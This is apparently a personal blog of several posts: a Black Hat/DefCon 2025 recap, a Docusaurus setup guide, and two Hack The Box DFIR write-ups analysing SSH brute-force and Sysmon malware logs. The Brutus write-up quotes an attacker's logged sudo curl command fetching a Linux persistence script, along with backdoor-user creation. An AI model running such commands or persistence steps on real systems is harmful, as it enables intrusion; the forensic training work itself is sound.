Earlier last month, I had the opportunity to attend Black Hat USA 2025 and DefCon 2025 in Las Vegas.

This trip was very special for me—not only was it my first time experiencing these world-class events in person, but it was also one of the most rewarding journeys in my cybersecurity career.

A special thanks goes to my friend who generously sponsored my Black Hat ticket. Without that support, I would not have been able to attend.

Black Hat Keynote​

The first day’s keynote left a powerful impression. The venue was massive, with stage lights and atmosphere that felt more like a concert than a tech conference.

The keynote was delivered by Mikko Hypponen, titled Three Decades in Cybersecurity: Lessons Learned and What Comes Next.

He spoke about how organizations should prepare for increasingly sophisticated attacks, and why incident simulations matter long before a real event happens.

One of the most striking moments was when he used the venue’s lighting and sound systems to simulate a total outage. For a few seconds, the hall went dark—showing what it feels like when everything suddenly goes offline. That silence captured the human side of security: the shock, the panic, and the time it takes to regain composure.

Having worked on both the client side and vendor side, I resonated deeply. Too often, executives treat security as a “show” or a cost center, until a real incident proves otherwise. The keynote was not just a talk, but a reminder that security is ultimately about culture and preparedness.

Business Hall Takeaways​

The Business Hall was another highlight. The scale was enormous: not only were there major vendors, but also a wide range of startups showcasing their innovations. Unlike many exhibitions I’ve attended in Asia, here most companies prepared hands-on demos for attendees.

For example, Trend Micro set up a gamified challenge where participants could experience their SOC platform in action. Many startups also had their founders on-site, which made it easy to ask questions and learn how they transformed ideas into real products with limited resources.

The hall wasn’t just about technology—it was also about people. Countless side events and networking opportunities made it possible to connect with others from across the industry. Hearing why people chose to stay in big companies, or why others pursued startups, gave me new perspectives on career motivation and fulfillment.

I also noticed a significant market gap: most compliance and security solutions are designed for U.S. and European needs, while Asia-focused solutions are scarce. This often forces Asian companies to buy entire suites but use only a fraction of the features, all while paying a steep price. Many executives therefore abandon solutions altogether.

This confirmed some of my own observations and gave me new drive to explore opportunities for solutions better suited to Asia’s diverse regulatory landscape.

Equally important, this was my first time engaging deeply with international vendors in a business setting. I truly appreciated the atmosphere: people expressed their ideas with confidence and passion, while also showing respect for others’ viewpoints. It wasn’t superiority—it was genuine belief in the value of their work.

Small Talk: Women in Cybersecurity​

I also joined a small talk session hosted by a friend, featuring several well-known women in cybersecurity.

They shared their challenges in the workplace—imbalanced resource allocation, navigating biases, handling workplace dynamics—and how they overcame them to reach their current positions.

This was not “inspirational talk” for the sake of it, but raw and honest experiences that many in the audience could relate to. For me, it was a reminder of my own journey working across different countries and cultures.

The key lesson: openness matters. Every culture has wisdom worth learning, and every challenge is also a chance to expand one’s worldview. Diversity isn’t just a buzzword—it’s a form of growth and resilience.

Closing Thoughts​

Attending Black Hat and DefCon was not just about learning new tools or hearing technical talks. For me, it was about confirming my direction in cybersecurity.

It raised important questions I will continue exploring:

• What are we truly protecting?
• How do we communicate security’s value so leaders see it as competitiveness, not cost?
• How can we create more solutions tailored to Asia’s market and regulatory realities?

These conferences gave me not only knowledge, but also momentum to keep moving forward.

👉 Coming up next, I’ll share my reflections from DefCon 2025 and my visit to Google’s Los Angeles office. Stay tuned!

This post walks through how I got everything set up, plus some lessons learned along the way.

Why Docusaurus?​

Before jumping into the setup, let me explain why I picked Docusaurus over other options:

• Markdown-first: I already write everything in Markdown anyway
• Fast and clean: React-based but optimized for static sites
• Great for technical content: Built-in syntax highlighting, code blocks, and admonitions
• Flexible: Can handle both blog posts and documentation
• Free hosting: Works perfectly with GitHub Pages

I looked at Ghost, Jekyll, and even considered just using Notion, but Docusaurus hit the sweet spot of simplicity and power.

Prerequisites​

You'll need:

• Node.js (v18 or higher) - I'm using v20
• A code editor (VS Code is my go-to)
• Basic command line knowledge
• A GitHub account (for hosting)

Step 1: Create the Site​

Docusaurus has a CLI tool that sets up everything for you:

npx create-docusaurus@latest my-blog classic
cd my-blog

The classic template gives you a blog, docs section, and a basic homepage. Perfect starting point.

Step 2: Understanding the Structure​

Here's what you get out of the box:

my-blog/
├── blog/              # Your blog posts live here
├── docs/              # Documentation (I use this for longer guides)
├── src/
│   ├── components/    # Custom React components
│   ├── css/          # Global styles
│   └── pages/        # Custom pages (About, etc.)
├── static/           # Images, PDFs, anything static
├── docusaurus.config.js # Main configuration
└── package.json

Most of my day-to-day work happens in the blog/ folder, but I've also used docs/ for some longer technical guides.

Step 3: Writing Your First Post​

Posts are just Markdown files in the blog directory. I name mine like 2025-09-16-post-title.md to keep them organized chronologically.

Each post starts with frontmatter:

---
slug: htb-sherlock-brutus
title: 'HTB Sherlock: Brutus'
authors: [cielo]
date: 2025-09-16
tags: [security, hack-the-box, tutorial, dfir]
---

Your content starts here...

<!--truncate-->

Everything after this comment appears only on the full post page.

The <!--truncate--> comment is handy - it controls what shows up on your blog homepage vs. the full post.

Step 4: Customizing the Config​

The docusaurus.config.js file controls everything. I mainly just updated the site title, URL, and navbar to match what I wanted. Most of the default settings worked fine for me.

Step 5: Organizing Tags​

For consistency, I created a blog/tags.yml file to define my tag structure:

security:
  label: 'Security'
  permalink: '/security'
  description: 'Security-related posts and writeups'

hack-the-box:
  label: 'Hack The Box'
  permalink: '/htb'
  description: 'HTB writeups and challenges'

tutorial:
  label: 'Tutorial'
  permalink: '/tutorials'
  description: 'Step-by-step guides and how-tos'

This keeps my tagging consistent and creates nice landing pages for each tag.

Step 6: Adding Some Style​

I tweaked the CSS in src/css/custom.css to make things feel more "me":

/* Dark theme tweaks */
[data-theme='dark'] {
  --ifm-background-color: #1a1a1a;
  --ifm-color-primary: #25c2a0;
}

/* Code block improvements */
.prism-code {
  font-size: 14px;
  line-height: 1.4;
}

/* Blog post spacing */
.markdown > h2 {
  margin-top: 2rem;
}

Nothing fancy, just making the reading experience a bit better.

Step 7: Local Development​

To see everything in action:

npm run start

This spins up a local dev server at http://localhost:3000 with hot reloading. Any changes you make to posts or config get reflected immediately.

Step 8: Deployment to GitHub Pages​

Once I was happy with everything, deployment was surprisingly simple:

1. Push to GitHub: Create a repo and push your code
2. Configure deployment: Make sure your docusaurus.config.js has the right GitHub info
3. Deploy: Run npm run deploy

That's it! The command builds your site and pushes it to a gh-pages branch, which GitHub automatically serves.

For ongoing updates, I just run npm run deploy whenever I want to publish new posts.

Tips and Gotchas​

A few things I learned the hard way:

• Image paths: Put images in static/img/ and reference them as /img/filename.jpg
• Base URL: If you're using GitHub Pages with a custom repo name, don't forget to set baseUrl correctly
• Tags: Keep them consistent from the start - refactoring tags later is annoying
• Drafts: Add draft: true to frontmatter for posts you're not ready to publish

Reflections​

Setting up Docusaurus this time around felt surprisingly familiar. I actually had a job a few years back where I was responsible for maintaining documentation using this exact tool. Back then, I knew absolutely nothing about React, static site generators, or even how to properly structure documentation. I spent countless hours reading docs, trial-and-error with configs, and slowly figuring out how everything worked together.

Now, being able to deploy my own blog with the same tool feels like such a full-circle moment. It's a good reminder that no learning experience is ever wasted - those late nights debugging deployment issues and trying to understand the build process ended up being exactly the foundation I needed for this project.

I'm grateful for my willingness to dive into unfamiliar territory back then. Every skill you pick up, even when it doesn't seem immediately relevant, tends to pay off in unexpected ways down the road.

This post covers the "Brutus" Sherlock - investigating a brute-force attack against a Confluence server's SSH service. I'll walk through analyzing logs to trace the attacker's path from initial access to privilege escalation and persistence.

Getting Started​

After downloading and unzipping Brutus.zip, there are three files:

• auth.log: A log file from Unix-like systems that records user logins, authentication attempts, and other security-related events.
• wtmp: A binary file that maintains a history of user logins and logouts.
• utmp.py: A Python script to parse the binary wtmp file into a human-readable format.

The Investigation​

T1: Attacker's IP Address​

Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?

Answer: 65.2.161.68

Looking through auth.log, there's a massive flood of failed login attempts from the same IP address. Pretty clear brute-force pattern here:

Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436
... (many more attempts)

T2: Compromised Username​

The bruteforce attempts were successful and the attacker gained access to an account on the server. What is the username of the account?

Answer: root

After all those failed attempts, the logs finally show a successful password acceptance for the root user. That's never good to see...

Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.

T3: Manual Login Timestamp (UTC)​

Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.

Answer: 2024-03-06 06:32:45 UTC

To find the actual login time, I needed to analyze the wtmp file using the provided utmp.py script. Running python3 utmp.py wtmp > wtmp.txt gives a readable version with this entry:

"USER"	"2549"	"pts/1"	"ts/1"	"root"	"65.2.161.68"	"0"	"0"	"0"	"2024/03/06 14:32:45"	"387923"	"65.2.161.68"

The timestamp shows 14:32:45, but there's a timezone catch here. The auth.log shows authentication at 06:32:44 UTC, while the wtmp parser is showing local time (probably UTC+8 based on the 8-hour difference). Converting back to UTC gives us the login time as 2024-03-06 06:32:45.

T4: Session Number​

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

Answer: 37

There were actually two successful root logins from the attacker's IP - Session 34 and Session 37. But Session 34 was super brief:

# Session 34: Quick automated login/logout
Mar  6 06:31:40 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 systemd-logind[411]: New session 34 of user root.
Mar  6 06:31:40 sshd[2411]: pam_unix(sshd:session): session closed for user root
Mar  6 06:31:40 systemd-logind[411]: Removed session 34.

# Session 37: The real interactive session
Mar  6 06:32:44 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 systemd-logind[411]: New session 37 of user root.

Session 34 looks like a brute-force tool just checking if credentials work, then immediately disconnecting. Session 37 is where the actual human activity happened.

T5: Persistence - New User​

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

Answer: cyberjunkie

Classic persistence move - create a backdoor user account. The auth.log shows the user creation:

Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie

T6: MITRE ATT&CK ID​

What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

Answer: T1136.001

This maps to MITRE ATT&CK technique T1136: Create Account, specifically the sub-technique T1136.001: Local Account. Pretty textbook persistence technique.

T7: Session End Time​

What time did the attacker's first SSH session end according to auth.log?

Answer: 06:37:24 on March 6th.

Looking for when session 37 ended:

Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

T8: Sudo Command for Privilege Escalation​

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

Answer: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

After setting up the cyberjunkie user with sudo privileges, the attacker came back and used it to download what looks like a privilege escalation script:

Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

The script name "linper.sh" (probably "Linux Persistence") from montysecurity's repo suggests this is for maintaining access and escalating privileges further. Not good news for the compromised server.

Reflections​

This Sherlock was a good exercise in log analysis and understanding attacker behavior patterns. The most tricky part for me was definitely the Session 34 vs Session 37 confusion - I initially thought Session 34 was the answer since it was the first successful login I spotted in the logs.

But looking deeper at the timing and behavior patterns made it clear that Session 34 was just an automated tool verification (login and immediate logout in the same second), while Session 37 was the actual human interactive session where all the malicious activity happened. This is a great reminder that brute-force tools often do quick credential validation before the attacker manually logs in.

The timezone issue with the wtmp parsing also caught me off guard initially. It's easy to forget that different log sources might be in different timezones or that parsing scripts can introduce timezone conversions. Always good to cross-reference timestamps across different artifacts.

Overall, this scenario does a nice job of showing the full attack chain:

Pretty textbook attacker playbook, and the logs tell the story clearly once you know what to look for.

In this investigation, I'll be diving into Sysmon logs and analyzing various Event IDs to trace malicious activities on a compromised Windows system.

Getting Started​

After downloading and unzipping unit42.zip, there's a Windows event log file: Microsoft-Windows-Sysmon-Operational.evtx.

Since I'm working on macOS, I needed a tool to parse this file. I used evtx_dump for this - after installing it via Homebrew (brew install evtx), I converted the log file into a more manageable JSON Lines format.

evtx_dump -o json <path/to/your_file.evtx> > output.jsonl

With the output.jsonl file ready, time to start digging.

The Investigation​

T1: How many Event logs are there with Event ID 11?​

Answer: 56

Event ID 11 in Sysmon corresponds to "FileCreate" events. Just filtered the output.jsonl file for entries where EventID is 11 and counted them up.

T2: What is the malicious process that infected the victim's system?​

Answer: C:\Users\CyberJunkie\Downloads\Preventivo24.02.14.exe.exe

Sysmon Event ID 1 logs process creation. Scanning through these events, I found this suspicious executable:

{
  "EventData": {
    "RuleName": "technique_id=T1204,technique_name=User Execution",
    "UtcTime": "2024-02-14 03:41:56.538",
    "ProcessGuid": "817BDDF3-3684-65CC-2D02-000000001900",
    "ProcessId": 10672,
    "Image": "C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe",
    "OriginalFileName": "Fattura 2 2024.exe",
    "CommandLine": "\"C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe\""
  }
}

The double .exe.exe extension is a classic trick - if someone has file extensions hidden in Windows, this would just show up as Preventivo24.02.14.exe, looking like a normal executable. Pretty sneaky.

T3: Which Cloud drive was used to distribute the malware?​

Answer: Dropbox

When you download a file from the internet, Windows adds a Zone.Identifier Alternate Data Stream (ADS) to track where it came from. Sysmon logs when this ADS gets created, and the Contents field shows the ReferrerUrl:

{
  "EventData": {
    "TargetFilename": "C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe:Zone.Identifier",
    "CreationUtcTime": "2024-02-14 03:41:26.459",
    "Contents": "[ZoneTransfer]  ZoneId=3  ReferrerUrl=https://www.dropbox.com/  HostUrl=https://...dl.dropboxusercontent.com/...",
    "User": "DESKTOP-887GK2L\\CyberJunkie"
  }
}

The ReferrerUrl clearly points to Dropbox.

T4: What was the timestamp changed to for the PDF file?​

Answer: 2024-01-14 08:10:06

The attacker used timestomping - a defense evasion technique where you change file timestamps to make malicious files blend in. Sysmon's Event ID 2 catches this:

{
  "EventData": {
    "RuleName": "technique_id=T1070.006,technique_name=Timestomp",
    "UtcTime": "2024-02-14 03:41:58.404",
    "Image": "C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe",
    "TargetFilename": "C:\\Users\\CyberJunkie\\AppData\\Roaming\\...\\~.pdf",
    "CreationUtcTime": "2024-01-14 08:10:06.029",
    "PreviousCreationUtcTime": "2024-02-14 03:41:58.404"
  }
}

You can see the file's creation time got backdated by about a month. The PreviousCreationUtcTime shows when the file was actually created.

T5: Where was "once.cmd" created on disk?​

Answer: C:\Users\CyberJunkie\AppData\Roaming\Photo and Fax Vn\Photo and vn 1.1.2\install\F97891C\WindowsVolume\Games\once.cmd

Filtered for "FileCreate" (Event ID 11) events where the target filename is once.cmd:

{
  "EventData": {
    "Image": "C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe",
    "TargetFilename": "C:\\Users\\CyberJunkie\\AppData\\Roaming\\Photo and Fax Vn\\Photo and vn 1.1.2\\install\\F97891C\\WindowsVolume\\Games\\once.cmd",
    "CreationUtcTime": "2024-01-10 18:12:26.458"
  }
}

Quite the nested folder structure there. The TargetFilename field gives the full path.

T6: What domain name did it try to connect to?​

Answer: www.example.com

Malware often does a quick DNS lookup to check if there's internet connectivity. Sysmon Event ID 22 logs DNS queries:

{
  "EventData": {
    "UtcTime": "2024-02-14 03:41:56.955",
    "QueryName": "www.example.com",
    "Image": "C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe"
  }
}

www.example.com is a safe, well-known domain that's commonly used for connectivity checks.

T7: Which IP address did the malicious process try to reach out to?​

Answer: 93.184.216.34

From the same DNS query event, the QueryResults field shows what IP addresses got resolved:

{
  "QueryResults": "::ffff:93.184.216.34;199.43.135.53;2001:500:8f::53;199.43.133.53;2001:500:8d::53;"
}

The ::ffff:93.184.216.34 is an IPv4-mapped IPv6 address that corresponds to IPv4 93.184.216.34.

T8: When did the process terminate itself?​

Answer: 2024-02-14 03:41:58

I looked for the last activity from this process. While there wasn't a specific Event ID 5 (process termination) log, the last file creation events by this process happened at 03:41:58:

{
  "EventData": {
    "UtcTime": "2024-02-14 03:41:58.404",
    "Image": "C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe",
    "TargetFilename": "C:\\Users\\...\\UltraVNC.ini"
  }
}

After this timestamp, ProcessId 10672 goes silent, so that's when it terminated.

Reflections​

This Sherlock was a great introduction to Sysmon log analysis. Working with the JSON format made it much easier to grep through and find specific events compared to trying to parse raw Windows event logs.

The timestomping technique in T4 was particularly interesting - I hadn't seen that defense evasion tactic in action before. It's clever how attackers try to make their files look like they've been on the system for a while.

The double .exe.exe extension trick is also something I've heard about but never actually seen in logs. It's a good reminder of how social engineering still plays a huge role in getting initial access.

Overall, this challenge does a nice job of walking through a typical malware execution flow:

The Sysmon logs tell a pretty complete story once you know which Event IDs to look for.